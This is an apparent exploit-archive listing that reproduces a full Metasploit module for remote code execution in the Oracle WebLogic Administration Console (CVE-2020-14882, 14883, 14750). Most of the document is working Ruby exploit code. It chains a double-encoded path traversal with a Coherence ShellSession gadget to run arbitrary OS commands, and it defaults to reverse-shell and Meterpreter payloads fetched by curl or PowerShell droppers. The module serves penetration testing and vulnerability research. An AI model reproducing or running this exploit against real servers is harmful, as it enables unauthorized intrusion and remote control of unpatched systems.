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Oracle WebLogic Server Administration Console Handle Remote Code Execution

Oracle WebLogic Server Administration Console Handle Remote Code Execution
Posted Nov 19, 2020
Authored by wvu, Jang, voidfyoo | Site metasploit.com

This Metasploit module exploits a path traversal and a Java class instantiation in the handle implementation of WebLogic's Administration Console to execute code as the WebLogic user. Versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, and 14.1.1.0.0 are known to be affected. Tested against 12.2.1.3.0 from Vulhub (Linux) and on Windows. Warning! Multiple sessions may be created by exploiting this vuln.

tags | exploit, java
systems | linux, windows
advisories | CVE-2020-14750, CVE-2020-14882, CVE-2020-14883
SHA-256 | 6c879a4e9e6dc2c3ad319ed39819005bbf1975b59feee6d511f7f1140f97fd91

Oracle WebLogic Server Administration Console Handle Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Oracle WebLogic Server Administration Console Handle RCE',
'Description' => %q{
This module exploits a path traversal and a Java class instantiation
in the handle implementation of WebLogic's Administration Console to
execute code as the WebLogic user.

Versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, and
14.1.1.0.0 are known to be affected.

Tested against 12.2.1.3.0 from Vulhub (Linux) and on Windows.

Warning! Multiple sessions may be created by exploiting this vuln.
},
'Author' => [
'voidfyoo', # Discovery
'Jang', # Analysis and PoC
'wvu' # Module
],
'References' => [
['CVE', '2020-14882'], # Auth bypass?
['CVE', '2020-14883'], # RCE?
['CVE', '2020-14750'], # Patch bypass
['EDB', '48971'], # An exploit
['URL', 'https://www.oracle.com/security-alerts/cpuoct2020.html'],
['URL', 'https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf']
],
'DisclosureDate' => '2020-10-20', # Vendor advisory
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux', 'win'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :curl,
'PAYLOAD' => 'linux/x64/meterpreter_reverse_https'
}
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
}
],
[
'Windows Dropper',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :win_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,
'PAYLOAD' => 'windows/x64/meterpreter_reverse_https'
}
}
],
[
'PowerShell Stager',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :psh_stager,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'
}
}
]
],
'DefaultTarget' => 4,
'DefaultOptions' => {
'WfsDelay' => 10
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
Opt::RPORT(7001),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def check
res = execute_command('')

unless res
return CheckCode::Unknown('Target did not respond to check.')
end

if res.code == 200 && res.body.include?('Deploying Application')
raise RuntimeError
end

unless res.code == 302 && res.body.include?('UnexpectedExceptionPage')
return CheckCode::Safe('Path traversal failed.')
end

CheckCode::Vulnerable('Path traversal successful.')
rescue RuntimeError
vprint_error('Application is deploying, sleeping and retrying check')

sleep(1)
retry
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

case target['Type']
when :unix_cmd, :win_cmd
execute_command(payload.encoded)
when :linux_dropper, :win_dropper
execute_cmdstager
when :psh_stager
execute_command(cmd_psh_payload(
payload.encoded,
payload.arch.first,
remove_comspec: true
))
end
end

def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}") unless cmd.empty?

send_request_cgi(
'method' => 'POST',
'uri' => aperture_science_handheld_portal_device,
'vars_post' => {
'handle' => coherence_gadget_chain(cmd)
}
)
end

def coherence_gadget_chain(cmd)
<<~JAVA.tr("\n", '').gsub(' ', '')
com.tangosol.coherence.mvel2.sh.ShellSession('
java.lang.Runtime.getRuntime().exec(
new java.lang.String[] {
#{win_target? ? '"cmd.exe", "/c", ' : '"/bin/sh", "-c", '}
new java.lang.String(
java.util.Base64.getDecoder().decode("#{Rex::Text.encode_base64(cmd)}")
)
}
)
')
JAVA
end

def aperture_science_handheld_portal_device
normalize_uri(target_uri.path, '/console/css/.%252e/console.portal')
end

def win_target?
target.platform.names.first == 'Windows'
end

end
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